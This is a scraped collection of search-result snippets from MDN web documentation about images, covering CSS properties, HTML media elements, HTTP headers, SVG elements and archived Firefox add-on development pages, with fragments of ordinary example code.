...lobal values */ -webkit-mask-position-y: inherit; -webkit-mask-position-y: initial; -webkit-mask-position-y: unset; initial value0%applies toall elementsinheritednopercentagesrefer to the size of the box itselfcomputed valuefor <length> the absolute value, otherwise a percentageanimation typediscrete syntax values <length-percentage> a length indicating the position of the top side of the image relative to the box's top padding edge.
...a value of 0% means the top edge of the image is aligned with the box's top padding edge and a value of 100% means the bottom edge of the image is aligned with the box's bottom padding edge.
... formal definition initial value0%applies toall elementsinheritednopercentagesrefer to the size of the box itselfcomputed valuefor <length> the absolute value, otherwise a percentageanimation typediscrete formal syntax [ <length-percentage> | top | center | bottom ]#where <length-percentage> = <length> | <percentage> examples vertically positioning a mask image .exampleone { -webkit-mask-image: url(mask.png); -webkit-mask-position-y: bottom; } .exampletwo { -webkit-mask-image: url(mask.png); -webkit-mask-position-y: 25%; } specifications not part of any standard.
Shorthand properties - CSS: Cascading Style Sheets
for instance, the css background property is a shorthand property that's able to define the values of background-color, background-image, background-repeat, and background-position.
...therefore: background-color: red; background: url(images/bg.gif) no-repeat left top; will not set the color of the background to red but to background-color's default, transparent, as the second rule has precedence.
... background-color: #000; background-image: url(images/bg.gif); background-repeat: no-repeat; background-position: left top; ...
... can be shortened to just one declaration: background: #000 url(images/bg.gif) no-repeat left top; (the shorthand form is actually the equivalent of the longhand properties above plus background-attachment: scroll and, in css3, some additional properties.) see background for more detailed information, including css3 properties.
animation - CSS: Cascading Style Sheets
WebCSSanimation
<div class="animation a3"></div> </div> </div> </div> </div> html,body { height: 100%; box-sizing: border-box; } pre { margin-bottom: 0; } svg { width: 1.5em; height: 1.5em; } button { width: 27px; height: 27px; background-size: 16px; background-position: center; background-repeat: no-repeat; border-radius: 3px; cursor: pointer; } button.play { background-image: url('data:image/svg+xml;charset=utf-8,%3csvg%20xmlns%3d%22http%3a%2f%2fwww.w3.org%2f2000%2fsvg%22%20viewbox%3d%220%200%2016%2016%22%3e%3cstyle%3epath%20%7bdisplay%3anone%7d%20path%3atarget%7bdisplay%3ablock%7d%3c%2fstyle%3e%3cpath%20id%3d%22play%22%20d%3d%22m3%2c3%20l3%2c13%20l13%2c8%20z%22%20%2f%3e%3cpath%20id%3d%22pause%22%20d%3d%22m5%2c4%20l7%2c4%20l7%2c13%20l5%2c13%20z%20m9%2c4%20l11%2c4%20l...
...11%2c13%20l9%2c13%20z%22%20%2f%3e%3cpath%20id%3d%22restart%22%20d%3d%22m13%2c9%20a5%2c5%2c1%2c1%2c1%2c8%2c4%20l8%2c2%20l12%2c5%20l8%2c8%20l8%2c6%20a3%2c3%2c1%2c1%2c0%2c11%2c9%20a1%2c1%2c1%2c1%2c1%2c13%2c9%20z%22%20%2f%3e%3c%2fsvg%3e#play'); } button.pause { background-image: url('data:image/svg+xml;charset=utf-8,%3csvg%20xmlns%3d%22http%3a%2f%2fwww.w3.org%2f2000%2fsvg%22%20viewbox%3d%220%200%2016%2016%22%3e%3cstyle%3epath%20%7bdisplay%3anone%7d%20path%3atarget%7bdisplay%3ablock%7d%3c%2fstyle%3e%3cpath%20id%3d%22play%22%20d%3d%22m3%2c3%20l3%2c13%20l13%2c8%20z%22%20%2f%3e%3cpath%20id%3d%22pause%22%20d%3d%22m5%2c4%20l7%2c4%20l7%2c13%20l5%2c13%20z%20m9%2c4%20l11%2c4%20l11%2c13%20l9%2c13%20z%22%20%2f%3e%3cpath%20id%3d%22restart%22%20d%3d%22m13%2c9%20a5%2c5%2c1%2c1%2c1%2c8%2c4%20l8%2c2%20l12%2c5%2...
...0l8%2c8%20l8%2c6%20a3%2c3%2c1%2c1%2c0%2c11%2c9%20a1%2c1%2c1%2c1%2c1%2c13%2c9%20z%22%20%2f%3e%3c%2fsvg%3e#pause'); } button.restart { background-image: url('data:image/svg+xml;charset=utf-8,%3csvg%20xmlns%3d%22http%3a%2f%2fwww.w3.org%2f2000%2fsvg%22%20viewbox%3d%220%200%2016%2016%22%3e%3cstyle%3epath%20%7bdisplay%3anone%7d%20path%3atarget%7bdisplay%3ablock%7d%3c%2fstyle%3e%3cpath%20id%3d%22play%22%20d%3d%22m3%2c3%20l3%2c13%20l13%2c8%20z%22%20%2f%3e%3cpath%20id%3d%22pause%22%20d%3d%22m5%2c4%20l7%2c4%20l7%2c13%20l5%2c13%20z%20m9%2c4%20l11%2c4%20l11%2c13%20l9%2c13%20z%22%20%2f%3e%3cpath%20id%3d%22restart%22%20d%3d%22m13%2c9%20a5%2c5%2c1%2c1%2c1%2c8%2c4%20l8%2c2%20l12%2c5%20l8%2c8%20l8%2c6%20a3%2c3%2c1%2c1%2c0%2c11%2c9%20a1%2c1%2c1%2c1%2c1%2c13%2c9%20z%22%20%2f%3e%3c%2fsvg%3e#restart'); } .grid ...
... jump-both | start | end examples cylon eye <div class="view_port"> <div class="polling_message"> listening for dispatches </div> <div class="cylon_eye"></div> </div> .polling_message { color: white; float: left; margin-right: 2%; } .view_port { background-color: black; height: 25px; width: 100%; overflow: hidden; } .cylon_eye { background-color: red; background-image: linear-gradient(to right, rgba(0, 0, 0, .9) 25%, rgba(0, 0, 0, .1) 50%, rgba(0, 0, 0, .9) 75%); color: white; height: 100%; width: 20%; -webkit-animation: 4s linear 0s infinite alternate move_eye; animation: 4s linear 0s infinite alternate move_eye; } @-webkit-keyframes move_eye { from { margin-left: -20%; } to { margin-left: 100%; } } @keyframes mo...
background-attachment - CSS: Cascading Style Sheets
the background-attachment css property sets whether a background image's position is fixed within the viewport, or scrolls with its containing block.
...</p> css p { background-image: url("https://mdn.mozillademos.org/files/12057/starsolid.gif"); background-attachment: fixed; } result multiple background images this property supports multiple background images.
...each image is matched with the corresponding attachment type, from first specified to last.
...</p> css p { background-image: url("https://mdn.mozillademos.org/files/12057/starsolid.gif"), url("https://mdn.mozillademos.org/files/12059/startransparent.gif"); background-attachment: fixed, scroll; background-repeat: no-repeat, repeat-y; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'background-attachment' in that ...
list-style - CSS: Cascading Style Sheets
constituent properties this property is a shorthand for the following css properties: list-style-image list-style-position list-style-type syntax /* type */ list-style: square; /* image */ list-style: url('../img/shape.png'); /* position */ list-style: inside; /* type | position */ list-style: georgian inside; /* type | image | position */ list-style: lower-roman url('../img/shape.png') outside; /* keyword value */ list-style: none; /* global values */ list-style: inherit; list-style: i...
...if list-style-type and list-style-image are both set, then list-style-type is used as a fallback if the image is unavailable.
... list-style-image see list-style-image.
... ul { list-style: none; } ul li::before { content: "\200b"; } voiceover and list-style-type: none – unfettered thoughts mdn understanding wcag, guideline 1.3 explanations understanding success criterion 1.3.1 | w3c understanding wcag 2.0 formal definition initial valueas each of the properties of the shorthand:list-style-type: disclist-style-position: outsidelist-style-image: noneapplies tolist itemsinheritedyescomputed valueas each of the properties of the shorthand:list-style-image: none or the image with its uri made absolutelist-style-position: as specifiedlist-style-type: as specifiedanimation typediscrete formal syntax <'list-style-type'> | <'list-style-position'> | <'list-style-image'> examples setting list style type and position html list 1 <ul class="...
object-fit - CSS: Cascading Style Sheets
formal definition initial valuefillapplies toreplaced elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax fill | contain | cover | none | scale-down examples setting object-fit for an image html <section> <h2>object-fit: fill</h2> <img class="fill" src="https://udn.realityripple.com/samples/ae/248a9938d9.png" alt="mdn logo"> <img class="fill narrow" src="https://udn.realityripple.com/samples/ae/248a9938d9.png" alt="mdn logo"> <h2>object-fit: contain</h2> <img class="contain" src="https://udn.realityripple.com/samples/ae/248a9938d9.png" alt="mdn logo"> <img class="co...
...} img { width: 150px; height: 100px; border: 1px solid #000; } .narrow { width: 100px; height: 150px; margin-top: 10px; } .fill { object-fit: fill; } .contain { object-fit: contain; } .cover { object-fit: cover; } .none { object-fit: none; } .scale-down { object-fit: scale-down; } result specifications specification status comment css images module level 4the definition of 'object-fit' in that specification.
... working draft css images module level 3the definition of 'object-fit' in that specification.
... see also other image-related css properties: object-position, image-orientation, image-rendering, image-resolution.
paint() - CSS: Cascading Style Sheets
WebCSSpaint
the paint() css function defines an <image> value generated with a paintworklet.
...in this example, we passed two arguments: whether the background-image on a group of list items is filled or just has a stroke outline, and the width of that outline: <ul> <li>item 1</li> <li>item 2</li> <li>item 3</li> <li>item 4</li> <li>item 5</li> <li>item 6</li> <li>item 7</li> <li>item 8</li> <li>item 9</li> <li>item 10</li> <li>item 11</li> <li>item 12</li> <li>item 13</li> <li>item 14</li> <li>item 15</li> <li>item 16</li> <li>item 17</li> <li>item 18</li> <li>item 1...
...9</li> <li>item 20</li> </ul> css.paintworklet.addmodule('https://mdn.github.io/houdini-examples/csspaint/intro/worklets/hilite.js'); li { --boxcolor: hsla(55, 90%, 60%, 1.0); background-image: paint(hollowhighlights, stroke, 2px); } li:nth-of-type(3n) { --boxcolor: hsla(155, 90%, 60%, 1.0); background-image: paint(hollowhighlights, filled, 3px); } li:nth-of-type(3n+1) { --boxcolor: hsla(255, 90%, 60%, 1.0); background-image: paint(hollowhighlights, stroke, 1px); } we've included a custom property in the selector block defining a boxcolor.
... no support nosamsung internet android full support 9.2legend full support full support no support no support see also paintworklet css painting api using the css painting api <image> canvas ...
repeating-radial-gradient() - CSS: Cascading Style Sheets
the repeating-radial-gradient() css function creates an image consisting of repeating gradients that radiate from an origin.
...the function's result is an object of the <gradient> data type, which is a special kind of <image>.
... because <gradient>s belong to the <image> data type, they can only be used where <image>s can be used.
... specifications specification status comment css images module level 3the definition of 'repeating-radial-gradient()' in that specification.
Creating a cross-browser video player - Developer guides
x-shockwave-flash" data="flash-player.swf?videourl=video/tears-of-steel-battle-clip-medium.mp4" width="1024" height="576"> <param name="movie" value="flash-player.swf?videourl=video/tears-of-steel-battle-clip-medium.mp4" /> <param name="allowfullscreen" value="true" /> <param name="wmode" value="transparent" /> <param name="flashvars" value="controlbar=over&amp;image=img/poster.jpg&amp;file=flash-player.swf?videourl=video/tears-of-steel-battle-clip-medium.mp4" /> <img alt="tears of steel poster image" src="img/poster.jpg" width="1024" height="428" title="no video playback possible, please download the video from the link below" /> </object> <!-- offer download --> <a href="video/tears-of-steel-battle-clip-medium.mp4">download mp4</a...
... a poster image is defined for the video, and the preload attribute is set to metadata, which informs the browser that it should initially only attempt to load the metadata from the video file rather than the entire video file.
...most browsers interpret the presence of a poster attribute to mean that the specified image is to be displayed until the user chooses to play the video.
... ie9 will only use the specified poster image in this way if preload="none" is set; otherwise, it will take the first still of the video and display that instead.
Audio and Video Delivery - Developer guides
if the browser doesn't support playback of any of the provided formats natively, either present a still image or use a fallback technology to present the video.
... for further info see cross browser audio basics (html5 audio in detail) html video <video controls width="640" height="480" poster="initialimage.png" autoplay muted> <source src="videofile.mp4" type="video/mp4"> <!-- fallback for browsers that don't support mp4 --> <source src="videofile.webm" type="video/webm"> <!-- specifying subtitle files --> <track src="subtitles_en.vtt" kind="subtitles" srclang="en" label="english"> <track src="subtitles_no.vtt" kind="subtitles" srclang="no" label="norwegian"> <!-- fallback for brow...
...sers that don't support video tag --> <a href="videofile.mp4">download video</a> </video> the code above creates a video player of dimensions 640x480 pixels, displaying a poster image until the video is played.
...then you can replace the video with its fallback content: <video controls> <source src="dynamicsearch.mp4" type="video/mp4"></source> <a href="dynamicsearch.mp4"> <img src="dynamicsearch.jpg" alt="dynamic app search in firefox os"> </a> <p>click image to play a video demo of dynamic app search</p> </video> var v = document.queryselector('video'), sources = v.queryselectorall('source'), lastsource = sources[sources.length-1]; lastsource.addeventlistener('error', function(ev) { var d = document.createelement('div'); d.innerhtml = v.innerhtml; v.parentnode.replacechild(d, v); }, false); audio/video javascript libraries a numbe...
Challenge solutions - Developer guides
solution the following values are reasonable approximations of the named colors: strong { color: #f00; /* red */ background-color: #ddf; /* pale blue */ font: 200% serif; } .carrot { color: #fa0; /* orange */ } .spinach { color: #080; /* dark green */ } p { color: #00f; /* blue */ } content add an image challenge add a one rule to your stylesheet so that it displays the image at the start of each line.
... solution the following rule achieves this effect: ul { border: 10px solid lightblue; width: 100px; } layout default image position fixed image position challenge change your sample document, doc2.html, adding this tag to it near the end, just before </body>: <img id="fixed-pin" src="yellow-pin.png" alt="yellow map pin"> predict where the image will appear in your document.
... solution the image appears to the right of the second list.
... challenge add a rule to your stylesheet that places the image in the top right of your document.
Graphics on the Web - Developer guides
websites and applications often need to present graphics, such as images.
... static images can easily be displayed using the <img> element, or by setting the background of html elements using the background-image property.
... you can also construct graphics on-the-fly, or manipulate images after the fact.
...with vectors, you can create images that scale cleanly to any size.
A hybrid approach - Developer guides
for example, an often-criticized point about responsive web design is that full-resolution images are sent to all devices, including phones that show the images scaled down anyway.
... one such technique for dealing with this issue uses server-side user-agent detection along with the wurfl device capability library to send a properly sized image for the user’s device.
...but even if it does not work, it is no worse with respect to performance than only using fluid images.
... future plans include exploring serving images based on user-agent.
<link>: The External Resource Link element - HTML: Hypertext Markup Language
WebHTMLElementlink
for example, a link to the site's favicon: <link rel="icon" href="favicon.ico"> there are a number of other icon rel values, mainly used to indicate special icon types for use on various mobile platforms, e.g.: <link rel="apple-touch-icon-precomposed" sizes="114x114" href="apple-icon-114.png" type="image/png"> the sizes attribute indicates the icon size, while the type contains the mime type of the resource being linked.
... font css @font-face image <img> and <picture> elements with srcset or imageset attributes, svg <image> elements, css *-image rules object <object> elements script <script> elements, worker importscripts style <link rel=stylesheet> elements, css @import track <track> elements video <video> elements worker worker, sharedworke...
...cors-enabled images can be reused in the <canvas> element without being tainted.
...it may have the following values: any, meaning that the icon can be scaled to any size as it is in a vector format, like image/svg+xml.
HTML: Hypertext Markup Language
WebHTML
html uses "markup" to annotate text, images, and other content for display in a web browser.
... multimedia and embedding this module explores how to use html to include multimedia in your web pages, including the different ways that images can be included, and how to embed video, audio, and even entire other webpages.
... use html to solve common problems provides links to sections of content explaining how to use html to solve very common problems when creating a web page: dealing with titles, adding images or videos, emphasizing content, creating a basic form, etc.
... advanced topics cors enabled image the crossorigin attribute, in combination with an appropriate cors header, allows images defined by the <img> element to be loaded from foreign origins and used in a <canvas> element as if they were being loaded from the current origin.
Compression in HTTP - HTTP
for images, gif or png are using loss-less compression.
... video formats on the web are lossy; the jpeg image format is also lossy.
...for images, an image generated by a tool could be not optimized enough for the web; it is recommended to use tools that will compress as much as possible with the required quality.
... as compression brings significant performance improvements, it is recommended to activate it for all files, but already compressed ones like images, audio files and videos.
Accept - HTTP
WebHTTPHeadersAccept
browsers set adequate values for this header depending on the context where the request is done: when fetching a css stylesheet a different value is set for the request than when fetching an image, video or a script.
... syntax accept: <mime_type>/<mime_subtype> accept: <mime_type>/* accept: */* // multiple types, weighted with the quality value syntax: accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, */*;q=0.8 directives <mime_type>/<mime_subtype> a single, precise mime type, like text/html.
...image/* will match image/png, image/svg, image/gif and any other image types.
... examples accept: text/html accept: image/* // general default accept: */* // default for navigation requests accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8 specifications specification title rfc 7231, section 5.3.2: accept hypertext transfer protocol (http/1.1): semantics and context ...
HTTP headers - HTTP
WebHTTPHeaders
content-dpr a number that indicates the ratio between physical pixels over css pixels of the selected image response.
...intrinsic size of an image).
...it is a structured header whose value is a token with possible values audio, audioworklet, document, embed, empty, font, image, manifest, object, paintworklet, report, script, serviceworker, sharedworker, style, track, video, worker, xslt, and nested-document.
... x-dns-prefetch-control controls dns prefetching, a feature by which browsers proactively perform domain name resolution on both links that the user may choose to follow as well as urls for items referenced by the document, including images, css, javascript, and so forth.
Web media technologies
this includes using local cameras and microphones to capture video, audio, and still images.
... guide to media types and formats on the web a guide to the file types and codecs available for images, audio, and video media on the web.
... the canvas api the canvas api lets you draw into an <canvas>, manipulating and changing the contents of an image.
...through a canvas, this can be used to add 3d imagery to media content.
Mobile first - Progressive web apps (PWAs)
the second one sets the width of the content at 600px and centers it in the space available, then adds in a gradient and a nice background image for the wider layout.
... this is a key point - the background image is 126kb, and not ideal for narrow layouts.
... having it included in the "600 pixels or wider" media query means that narrow screen devices won't read that media query, so they will not waste their time and bandwidth downloading that image.
...for example, the modernizr in our example app is testing for multiple background image and rgba support.
in2 - SVG: Scalable Vector Graphics
WebSVGAttributein2
feblend for <feblend>, in2 defines the second input image to the blending operation.
... value sourcegraphic | sourcealpha | backgroundimage | backgroundalpha | fillpaint | strokepaint | <filter-primitive-reference> default value sourcegraphic for first filter primitive, otherwise result of previous filter primitive animatable yes fecomposite for <fecomposite>, in2 defines the second input image to the compositing operation.
... value sourcegraphic | sourcealpha | backgroundimage | backgroundalpha | fillpaint | strokepaint | <filter-primitive-reference> default value sourcegraphic for first filter primitive, otherwise result of previous filter primitive animatable yes fedisplacementmap for <fedisplacementmap>, in2 defines the second input image, which is used to displace the pixels in the image defined in the in attribute.
... value sourcegraphic | sourcealpha | backgroundimage | backgroundalpha | fillpaint | strokepaint | <filter-primitive-reference> default value sourcegraphic for first filter primitive, otherwise result of previous filter primitive animatable yes specifications specification status comment filter effects module level 1the definition of 'in2 for <fedisplacementmap>' in that specification.
preserveAspectRatio - SVG: Scalable Vector Graphics
because the aspect ratio of an svg image is defined by the viewbox attribute, if this attribute isn't set, the preserveaspectratio attribute has no effect (with one exception, the <image> element, as described below).
... elements seven elements are using this attribute: <svg>, <symbol>, <image>, <feimage>, <marker>, <pattern>, and <view>.
... feimage for <feimage>, preserveaspectratio defines how the referenced image should fit in the rectangle define by the <feimage> element.
... default value xmidymid meet animatable yes image for <image>, preserveaspectratio defines how the referenced image should fit in the rectangle define by the <image> element.
<feDiffuseLighting> - SVG: Scalable Vector Graphics
the <fediffuselighting> svg filter primitive lights an image using the alpha channel as a bump map.
... the resulting image, which is an rgba opaque image, depends on the light color, light position and surface geometry of the input bump map.
... the light map produced by this filter primitive can be combined with a texture image using the multiply term of the arithmetic operator of the <fecomposite> filter primitive.
... multiple light sources can be simulated by adding several of these light maps together before applying it to the texture image.
<feSpecularLighting> - SVG: Scalable Vector Graphics
the resulting image is an rgba image based on the light color.
...the resulting image depends on the light color, light position and surface geometry of the input bump map.
... this filter primitive produces an image which contains the specular reflection part of the lighting calculation.
...multiple light sources can be simulated by adding several of these light maps before applying it to the texture image.
SVG element reference - SVG: Scalable Vector Graphics
WebSVGElement
« svg / svg attribute reference » svg drawings and images are created using a wide array of elements which are dedicated to the construction, drawing, and layout of vector images and diagrams.
... a <a> <animate> <animatemotion> <animatetransform> c <circle> <clippath> <color-profile> d <defs> <desc> <discard> e <ellipse> f <feblend> <fecolormatrix> <fecomponenttransfer> <fecomposite> <feconvolvematrix> <fediffuselighting> <fedisplacementmap> <fedistantlight> <fedropshadow> <feflood> <fefunca> <fefuncb> <fefuncg> <fefuncr> <fegaussianblur> <feimage> <femerge> <femergenode> <femorphology> <feoffset> <fepointlight> <fespecularlighting> <fespotlight> <fetile> <feturbulence> <filter> <foreignobject> g <g> h <hatch> <hatchpath> i <image> l <line> <lineargradient> m <marker> <mask> <mesh> <meshgradient> <meshpatch> <meshrow> <metadata> <mpath> p <path> <pattern> <polygon> <polyline> r <rad...
... <a>, <defs>, <g>, <marker>, <mask>, <missing-glyph>, <pattern>, <svg>, <switch>, <symbol>, <unknown> descriptive elements <desc>, <metadata>, <title> filter primitive elements <feblend>, <fecolormatrix>, <fecomponenttransfer>, <fecomposite>, <feconvolvematrix>, <fediffuselighting>, <fedisplacementmap>, <fedropshadow>, <feflood>,<fefunca>, <fefuncb>, <fefuncg>, <fefuncr>,<fegaussianblur>, <feimage>, <femerge>, <femergenode>, <femorphology>, <feoffset>, <fespecularlighting>, <fetile>, <feturbulence> font elements <font>, <font-face>, <font-face-format>, <font-face-name>, <font-face-src>, <font-face-uri>, <hkern>, <vkern> gradient elements <lineargradient>, <meshgradient>, <radialgradient>, <stop> graphics elements <circle>, <ellipse>, <image>, <line>, <mesh>, <path>, <polygon>, <polyl...
...ht>, <fepointlight>, <fespotlight> never-rendered elements <clippath>, <defs>, <hatch>, <lineargradient>, <marker>, <mask>, <meshgradient>, <metadata>, <pattern>, <radialgradient>, <script>, <style>, <symbol>, <title> paint server elements <hatch>, <lineargradient>, <meshgradient>, <pattern>, <radialgradient>, <solidcolor> renderable elements <a>, <circle>, <ellipse>, <foreignobject>, <g>, <image>, <line>, <mesh>, <path>, <polygon>, <polyline>, <rect>, <svg>, <switch>, <symbol>, <text>, <textpath>, <tspan>, <unknown>, <use> shape elements <circle>, <ellipse>, <line>, <mesh>, <path>, <polygon>, <polyline>, <rect> structural elements <defs>, <g>, <svg>, <symbol>, <use> text content elements <altglyph>, <altglyphdef>, <altglyphitem>, <glyph>, <glyphref>, <textpath>, <text>, <tref>, <ts...
SVG 2 support in Mozilla - SVG: Scalable Vector Graphics
indexed property for list interfaces implementation status unknown <script> element in content model of all elements implementation status unknown initialize(), appenditem(), replaceitem(), and insertitembefore() on list objects making a copy of any list item being inserted that is already in another list implementation status unknown crossorigin attribute for <image> and <script> elements not implemented yet (at least for <image>; bug 1240357) rendering model change notes svg root and <foreignobject> not overflow:hidden in ua style sheet implementation status unknown allow overflow: auto; to clip and show scroll bars implementation status unknown allow overflow: scroll; to show scroll bars on <svg> ...
...ent to svggeometryelement implemented (bug 1239100) document structure change notes svgsvgelement.suspendredraw(), svgsvgelement.unsuspendredraw(), and svgsvgelement.unsuspendredrawall() deprecated turned into no-ops (bug 734079) externalresourcesrequired attribute removed implementation status unknown auto value for width and height in <image> implementation status unknown referencing entire document with <use> implementation status unknown lang attribute on <desc> and <title> implemented (bug 721920) css transforms on outermost <svg> not affecting svgsvgelement.currentscale or svgsvgelement.currenttranslate implementation status unknown rootelement attribute deprecated implementation...
...known defer keyword removed from preserveaspectratio attribute removed (bug 1280425) added non-scaling-size, non-rotation and fixed-position keywords for vector-effect property not implemented yet (bug 1318208) vector-effect has no effect within 3d rendering context implementation status unknown consider clip and overflow on svg document referenced by <image> implementation status unknown paths change notes b and b path commands implementation status unknown z and z path commands to add path coordinate data to previous command implementation status unknown not render <path>, <polygon> and <polyline> with no data implementation status unknown svgpathseg*, svganimatedpathdata and r...
... of zero-length subpaths depends on stroke-linecap attribute implementation status unknown markers on all shapes implementation status unknown <marker> element display defined in ua style sheet implementation status unknown only single paints for fills and strokes implementation status unknown color change notes color managed images implementation status unknown rgba, hsl, lab, icc named colors and device colors implementation status unknown color-profile removed implementation status unknown <color-profile> removed implementation status unknown paint servers change notes <solidcolor> (renamed solidcolor) not implemented (bug 1177032) fr att...
package.json - Archive of obsolete content
icon the path to an image file containing the icon for the add-on.
...(if you test this, please add the result here.) this can also be an object with the image size as key and the (absolute) location of the image as value.
... the path to an image containing the large icon for the add-on.
Downloading Files - Archive of obsolete content
downloading images sample function for fetching an image file from a url.
... // this function is for fetching an image file from a url.
... function getimagefromurl(url) { var ioserv = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); var channel = ioserv.newchannel(url, 0, null); var stream = channel.open(); if (channel instanceof components.interfaces.nsihttpchannel && channel.responsestatus != 200) { return ""; } var bstream = components.classes["@mozilla.org/binaryinputstream;1"] .createinstance(components.interfaces.nsibinaryinputstream); bstream.setinputstream(stream); var size = 0; var file_data = ""; while(size = bstream.available()) { file_data += b...
SVG General - Archive of obsolete content
hopefully, enough to get you creating some svg images.
...svg image also requires the use of xlink for the href attribute, which can be tricky to remember, especially when you're mixing svg with html or xul.
...here are some examples of using it: var circle = makesvg("circle", {id: "circle1", cx: "60", cy: "60", r: "50"}); var img = makesvg("image", {id: "img1", x: "110", y: "110", width: "100", height: "100", svghref: "bubbles.png"}); var text = makesvg("text", {id: "text1", x: "60", y: "60"}); text.textcontent = "hello world"; ...
How to convert an overlay extension to restartless - Archive of obsolete content
the big culprits are jsm files and locale files (namely property files), though in some situations this is true for dynamically loaded image files too.
...ndow(unloadfromwindow); services.wm.removelistener(windowlistener); mymodule.shutdown(); // do whatever shutdown stuff you need to do on addon disable components.utils.unload("chrome://myaddon/content/mymodule.jsm"); // same url as above // hack warning: the addon manager does not properly clear all addon related caches on update; // in order to fully update images and locales, their caches need clearing here services.obs.notifyobservers(null, "chrome-flush-caches", null); } function install(data,reason) { } function uninstall(data,reason) { } function loadintowindow(window) { /* call/move your ui construction function here */ } function unloadfromwindow(window) { /* call/move your ui tear down function here */ } function foreachopenwindow(todo) // ap...
...as mentioned in the previous section, you'll need to clear the chrome caches on add-on shutdown, namely for chrome images and properties files.
Chapter 5: Let's build a Firefox extension - Archive of obsolete content
the skin package this is used to include source files used as visual elements in the gui, including style sheets and images.
...lines 1–3 define the icon image to use with full-sized icons, and lines 4–6 define the icon image to use when small toolbar icons have been selected.
... listing 12: content for overlay.css #helloworldbutton { list-style-image: url(chrome://helloworld/skin/icon.png); } toolbar[iconsize="small"] #helloworldbutton { list-style-image: url(chrome://helloworld/skin/icon-small.png); } operations check since we have edited the chrome manifest, as we did in phase 3, we need to relaunch firefox.
Signing an XPI - Archive of obsolete content
image obtaining a valid software developer code-signing certificate warning: currently firefox expects xpi files to be signed with certificates that conform to the older object signing convention, rather than the newer code signing convention.
...i have hi-resolution scanned images of my passport and drivers license for these situations so i placed them on my web-server temporarily in a hidden location and emailed unizeto certum with the details and location of the files.
... within a few hours i received a confirmation email from a human accepting the id images and giving me a hyperlink to the certifcate download area.
Search Extension Tutorial (Draft) - Archive of obsolete content
cu.import("resource://gre/modules/services.jsm"); // the details of the engine to add const engine_details = { name: "example engine", iconurl: "data:image/png;base64,...", alias: "example-engine", description: "an example search engine", method: "get", // the http request method url: "https://www.example.com/?q=_searchterms_" }; // keep track of whether this is the first run.
...search.xml <?xml version="1.0" encoding="utf-8"?> <searchplugin xmlns="http://www.mozilla.org/2006/browser/search/"> <shortname>example engine</shortname> <description>example search engine</description> <inputencoding>utf-8</inputencoding> <image width="16" height="16" type="image/png">data:image/png;base64, ...
... </image> <url type="application/x-suggestions+json" template="https://api.example.com/suggestions"> <param name="q" value="{searchterms}"/> </url> <url type="text/html" method="get" template="https://www.example.com/search"> <param name="q" value="{searchterms}"/> <param name="source" value="search-box"/> </url> <url type="application/x-moz-keywordsearch" method="get" template="https://www.example.com/search"> <param name="q" value="{searchterms}"/> <param name="source" value="keyword"/> </url> <searchform>https://www.example.com/search</searchform> </searchplugin> bootstrap.js const { classes: cc, interfaces: ci, utils: cu, results: cr } = components; // import the services module.
List of Mozilla-Based Applications - Archive of obsolete content
font management tool firecast digital signage and interactive kiosk tools also used in firecast easystart mozilla firefox web browser web browser usage stats from global stats fossamail email client for windows platform, based on mozilla thunderbird developed by moonchild productions, creator of the pale moon web browser flickr uploadr image upload tool see flickr uploadr: open source and powered by xulrunner foxkeh clock clock frizione javascript development, testing and deployment environment uses mozilla rhino geckofx embeddable gecko gjs javascript bindings for gnome globalmojo browser that raises money for your favorite causes gluescript ...
... this is separate from the javascript library jslib) joybidder ebay auction tool standalone version uses xulrunner just (fr) audio a tool for setting temporal tags in audio documents jsdoc toolkit documentation tool uses mozilla rhino k-meleon gecko-based web browser for windows embeds gecko in mfc kairo.at mandelbrot creates images of mandelbrot sets xulrunner application kazehakase gecko-based web browser for unix kirix strata data browser kiwix offline version of wikipedia kneemail prayer, praise, and journal application komodo and komodo edit and open komodo development tools mozilla-based application (pre-xulrunner style), xul ui ...
...ymous web browser xbusiness create and send branded invoices, quotes or estimates xdf billing and quotes software xiphos bible study software xmldbeditor database editor xpud linux desktop xpud: linux with an xul interface, 10 second boot time xrap xulrunner application packager xul daim image tool xul explorer development tool xulrunner application xuljet javascript framework uses xulrunner xulmine game standalone version yahoo!
Source code directories overview - Archive of obsolete content
it can be used to draw rectangles, lines, images, etc.
... ipc contains jpeg contains c code for reading/writing jpeg images.
...it contains code for handling various image formats (e.g.
Mozilla Application Framework in Detail - Archive of obsolete content
themes are simply collections of images and css which can augment or replace your current ui elements.
...you could easily create xml elements such as <chessboard> or <chesspiece> and via xbl map these to images and application logic.
...supported standards and features include data transport protocols, multilingual character data, image data, java and plugins.
checkbox.src - Archive of obsolete content
« xul reference home src type: uri set this to an uri pointing to an image to appear in the checkbox.
... if this attribute is left out, no image appears.
... you can have both an image and a label.
mousethrough - Archive of obsolete content
in the following example, the image appears above the button, yet the mousethrough attribute specified on the image causes mouse events to be ignored on the image and instead fall through to the button.
... if the mousethrough attribute was not used, the image would receive all mouse events and the button could not be pressed with the mouse.
... <stack> <button label="below"/> <image src="happy.png" mousethrough="always"/> </stack> ...
treecell.src - Archive of obsolete content
« xul reference home src type: uri set this to the uri of an image to appear in the tree cell.
... if this attribute is left out, no image appears.
... you can have both an image and a label.
appendNotification - Archive of obsolete content
« xul reference home appendnotification( label , value , image , priority , buttons, eventcallback ) return type: element create a new notification and display it.
... value - value used to identify the notification image - url of image to appear on the notification.
... popup: null }; buttons.push(button2); //appendnotification( label , value , image (url) , priority , buttons, eventcallback ) notifybox.appendnotification("my notification text", "test notification unique id", "chrome://browser/content/aboutrobots-icon.png", notifybox.priority_info_high, buttons, testnotificationcallback); } ...
statusbarpanel-iconic-text - Archive of obsolete content
« xul reference home statusbarpanel-iconic-text use this class to have an image appear on the statusbarpanel as well as a text label.
... specify the image using the src attribute.
...the image will appear before the label.
statusbarpanel-iconic - Archive of obsolete content
« xul reference home statusbarpanel-iconic use this class to have an image appear on the statusbarpanel.
... specify the image using the src attribute.
... the image will appear instead of the label.
statusbarpanel-menu-iconic - Archive of obsolete content
« xul reference home statusbarpanel-menu-iconic use this class to have an image appear on the statusbarpanel, and also allow a popup menu.
... specify the image using the src attribute, and place a menupopup element inside the statusbarpanel.
... the image will appear instead of the label.
Bindings - Archive of obsolete content
